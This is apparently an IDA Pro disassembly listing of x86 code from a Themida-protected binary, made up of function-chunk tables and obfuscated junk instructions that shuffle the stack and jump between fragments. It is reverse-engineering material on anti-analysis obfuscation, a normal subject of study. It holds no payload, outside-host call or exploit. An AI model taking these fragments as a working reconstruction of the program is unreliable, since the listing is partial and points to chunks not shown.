; FUNCTION CHUNK AT 005A2477 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A268E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A27D0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2895 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2A9F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2E9D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A2F36 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A2FBB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A30B3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3607 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3C54 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3DA7 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A4114 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A4140 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A43D7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A4539 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A47CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4CA4 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A51D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A520A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5450 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5783 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5932 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A5C37 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A5DFA SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A6260 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A657A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A6662 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6830 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A6888 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A6C32 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A71A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A71D8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A731F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A7365 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005A7439 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A74C7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A7724 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A7CBD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A831C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A8657 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A86BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8946 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8977 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8D61 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A94EE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A95EC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A9616 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9639 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A97D2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A98BF SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A9928 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A9D05 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A9DE4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A9EA9 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A9EDD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AA271 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA44F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AA8A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AA9AA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AAB78 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AB395 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB5C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB73A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AB807 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AB8F9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005ABB69 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005ABFBD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AC057 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC095 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005AC1D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AC213 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC63C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC825 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC99D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005ACA4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACB82 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005ACDFA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD162 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AD570 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD6B6 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AD83E SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005AD893 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005ADEED SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AE292 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AE393 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE40D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE4ED SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE557 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE5BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE705 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 005AEB15 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AEBBF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AEFA2 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp-10h+arg_C], ecx
		mov	ecx, 10CB4E05h
		xor	edx, ecx
		pop	ecx
		pop	edi
		push	ecx
		mov	ecx, 41D35678h
		jmp	loc_59EC3F
sub_5A8C33	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A8C4D:				; CODE XREF: sub_59CA4A+1752j
		pop	ebp
		add	esp, 4
		add	edx, eax
		jmp	loc_5A4CD4
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A8C58:				; CODE XREF: Themida_:005A747Dj
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_5AE526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A8C66:				; CODE XREF: sub_5ACD64-5534j
		sub	ebp, 21E06A20h
		jmp	loc_5A507A
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A8C71:				; CODE XREF: sub_5A58AC-636Ej
		inc	edx
		jmp	loc_59E633
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_5A8C77:				; CODE XREF: Themida_:005A02A8j
		not	esi
		inc	esi
		add	esi, 0B4E0FFF9h
		push	edx
		mov	edx, 7A0D038Dh
		shl	edx, 8
		xor	edx, 103786B4h
		sub	edi, edx
		pop	edx
		add	edi, esi
		add	edi, 1D340BB4h
		pop	esi
		push	eax
		mov	eax, 2
		jmp	loc_5A3704
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5A8CA6:				; CODE XREF: sub_5AC95F-98C4j
					; sub_5A94F5+5BBDj
		pop	esp
		pop	edi
		and	[edi+1Ch], ebx
		jmp	loc_5ACE4A
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------


loc_5A8CB0:				; CODE XREF: Themida_:005A02DAj
		push	7C50h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_59DDF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_5A8CC8:				; CODE XREF: sub_5A70C2-881Cj
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		push	1F2Ch
		mov	[esp-4+arg_0], esi
		push	[esp-4+arg_4]
		mov	esi, [esp+0]
		push	225Eh
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_5A06AA
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A8CFA:				; CODE XREF: sub_59B923+100E8j
		jmp	loc_59E844
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A980C


loc_5A8CFF:				; CODE XREF: sub_5A980C-8D46j
		push	4288h
		mov	[esp+8+var_8], esi
		push	[esp+8+var_4]
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5A8807
; END OF FUNCTION CHUNK	FOR sub_5A980C
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, esp
		jmp	loc_599FE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5A8D1B:				; CODE XREF: sub_5ABE52+1362j
		mov	ecx, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		add	esi, 0AD4449Dh
		add	esi, ecx
		push	edx
		mov	edx, 0AD4449Dh
		jmp	loc_59F501
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_5A8D39:				; CODE XREF: Themida_:005A74C2j
		add	eax, 557196A4h
		jmp	loc_5AAA06

; =============== S U B	R O U T	I N E =======================================



sub_5A8D43	proc near		; DATA XREF: Themida_:00597910o

var_22		= dword	ptr -22h
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00597B5F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597CF8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00597DE4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00598124 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005984AE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059855D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059895B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00598CDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598E3C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00598E9D SIZE 00000044 BYTES
; FUNCTION CHUNK AT 00599563 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00599607 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005997E2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599930 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00599B02 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599C48 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059A184 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A901 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059AA10 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059AA3E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AAB0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059AC40 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059B38A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059B764 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059B94D SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0059BA2E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059BA6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BBCF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059BBF8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059BC1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BF0E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059BFFA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C127 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059C410 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CC91 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D373 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059D3D1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D838 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059D9D8 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059DB7D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DB9E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059DEE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E133 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E2A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059E2C5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E77F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059F5D7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F609 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FB08 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FF7D SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0059FFFE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0AE0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0C4D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0FDA SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A172C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A17D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1DB0 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A1FF1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A201C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A2070 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2100 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A2119 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2716 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3004 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A31B5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A3348 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3366 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A34DC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A34EF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3530 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3677 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005A3ACD SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A3B09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A3DD1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A44E4 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A4932 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A4C77 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A4DB8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5024 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A5112 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A53D0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A57BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A58D3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5C53 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5F2E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A61BC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005A6401 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A64D2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A6DE3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7184 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7B65 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7DD0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A7E00 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8255 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A82D8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8581 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A8620 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A870A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A89EF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A8A92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A8B00 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8E84 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A8FFB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A9215 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A951E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A9900 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A99A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A99B5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9B31 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AA0F2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AA167 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AA3BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA6EF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AAC57 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB157 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB380 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB7D9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AB89B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB929 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB946 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB9E5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ABC78 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005ABD60 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005ABEC4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ABF2C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC1B8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD188 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AD456 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ADC41 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005ADD96 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ADEDA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AE150 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AEB0E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEBDB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AEF15 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AF06C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AF163 SIZE 0000000C BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+6+var_8+2]
		jmp	loc_59D3D1
sub_5A8D43	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A8D5A:				; CODE XREF: sub_599059+66DEj
					; sub_59CA4A+9585j
		mov	eax, esp
		jmp	loc_59B2A1
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A8D61:				; CODE XREF: sub_5A8C33-E657j
		add	eax, ecx
		add	eax, 3D8D59F5h
		jmp	sub_5A1076
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A8D6D:				; CODE XREF: Themida_:loc_5A18BEj
		xor	edx, 173C1487h
		jp	loc_5ABA74
		jmp	sub_59ECE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A8D7E:				; CODE XREF: sub_5986D6+129F3j
		pop	edx
		sub	ch, 0F7h
		add	ch, dh
		add	ch, 0F7h
		pop	edx
		add	al, ch
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	eax
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	cl, 60h
		jmp	loc_59D2AB
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A8DA0:				; CODE XREF: sub_5AC95F-384Ej
		inc	edi
		add	edi, 0A29A459h
		jmp	loc_59F197
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5A8DAC:				; CODE XREF: sub_5A34FD-75FDj
		mov	esp, [esp+0]
		jmp	loc_5AA9B4
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------


loc_5A8DB4:				; CODE XREF: Themida_:0059E9BCj
		inc	ebp
		jmp	loc_5A0A62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A462F


loc_5A8DBA:				; CODE XREF: sub_5A462F+9j
		push	esi
		mov	esi, 4
		jmp	loc_59B8BB
; END OF FUNCTION CHUNK	FOR sub_5A462F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A8DC5:				; CODE XREF: sub_5A141E+B17Aj
		or	ax, 68h
		jbe	loc_5ACC17
		jmp	loc_5A3B27
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A8DD4:				; CODE XREF: sub_59D99C+10CFAj
		mov	eax, 6D3348EDh
		xor	ebx, eax
		pop	eax
		jmp	loc_5A589A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A8DE1:				; CODE XREF: Themida_:005AD944j
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A8D4


loc_5A8DE6:				; CODE XREF: sub_59A8D4+9j
		mov	ebx, 1CC408A0h
		xchg	ecx, ebx
		xchg	ebp, ecx
		not	ebp
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		jmp	loc_5A83C2
; END OF FUNCTION CHUNK	FOR sub_59A8D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A8DFA:				; CODE XREF: sub_5ACD64-137BFj
		jmp	loc_5A9246
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2735


loc_5A8DFF:				; CODE XREF: sub_5A2735+A175j
		pop	edi
		mov	ebx, edx
		mov	edx, [esp+10h+var_10]
		jmp	loc_5A65DA
; END OF FUNCTION CHUNK	FOR sub_5A2735
; ---------------------------------------------------------------------------


loc_5A8E0A:				; CODE XREF: Themida_:0059E44Fj
		add	esp, 4
		pop	ebx
		jmp	loc_59FF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A04C2


loc_5A8E13:				; CODE XREF: sub_5A04C2-1010j
		add	esp, 4
		sub	edi, 676321A2h
		sub	ebx, edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	ebx, 4C6E3A0Ah
		sub	ebx, eax
		add	ebx, 4C6E3A0Ah
		add	ebx, 43BE6351h
		push	6892h
		jmp	loc_59E7DF
; END OF FUNCTION CHUNK	FOR sub_5A04C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A8E45:				; CODE XREF: sub_5AA500-91E8j
		pop	ebp
		jmp	loc_597EDD
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------


loc_5A8E4B:				; CODE XREF: Themida_:005A2A9Aj
		push	165Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59D965
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A8E5C:				; CODE XREF: sub_5A17D6-928j
		mov	[esp+8+var_8], ebx
		add	[esp+8+var_8], 39CC7A3Ah
		mov	eax, [esp+8+var_8]
		jmp	loc_5A4074
; END OF FUNCTION CHUNK	FOR sub_5A17D6

; =============== S U B	R O U T	I N E =======================================



sub_5A8E6E	proc near		; CODE XREF: sub_599EAC+9E5Aj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599AB7 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A09B3 SIZE 0000000F BYTES

		push	ebx
		mov	bl, 47h
		jmp	loc_599AB7
sub_5A8E6E	endp

; ---------------------------------------------------------------------------


loc_5A8E76:				; CODE XREF: Themida_:00599D0Aj
		pop	esp
		push	139h
		mov	[esp], eax
		jmp	loc_5A47DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A8E84:				; CODE XREF: sub_5A8D43-2E07j
		mov	[esp+12h+var_14+2], esi
		mov	esi, esp
		push	1A8Ah
		mov	[esp+16h+var_18+2], ebp
		jmp	loc_5A5009
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A8E96:				; CODE XREF: sub_5AEE2E-1496Bj
		pop	esp
		add	ecx, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		xchg	ecx, [esp-0Ch+arg_8]
		pop	esp
		sar	byte ptr [esp+0], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB23


loc_5A8EAC:				; CODE XREF: sub_5ABB23+Cj
		shl	ebx, 2
		jmp	loc_5ADE2A
; END OF FUNCTION CHUNK	FOR sub_5ABB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A8EB4:				; CODE XREF: sub_5AC95F-7B45j
		jz	loc_5ABEB4
		shr	ebx, 3
		or	ebx, 2F26284Ch
		not	ebx
		dec	ebx
		sub	ebx, 0D0C1172Bh
		sub	[esp-8+arg_8], 7AEE3DA3h
		add	[esp-8+arg_8], ebx
		add	[esp-8+arg_8], 7AEE3DA3h
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		pop	edx
		jmp	loc_5ADF72
; END OF FUNCTION CHUNK	FOR sub_5AC95F

; =============== S U B	R O U T	I N E =======================================



sub_5A8EEF	proc near		; CODE XREF: sub_5A600F-71FCj
					; sub_59AE49+4089j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	ebp
		mov	ebp, 0AD60948h
		jmp	sub_5A4470
sub_5A8EEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A8F00	proc near		; CODE XREF: sub_59A03D+4FE2j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00598009 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00598A2F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059ABF0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AC9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BCC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C55D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C88E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059DA9E SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0059E289 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E656 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F435 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A02C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A062E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A388C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A3B0E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3C41 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A42D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4E2C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A50E9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6FEB SIZE 00000019 BYTES
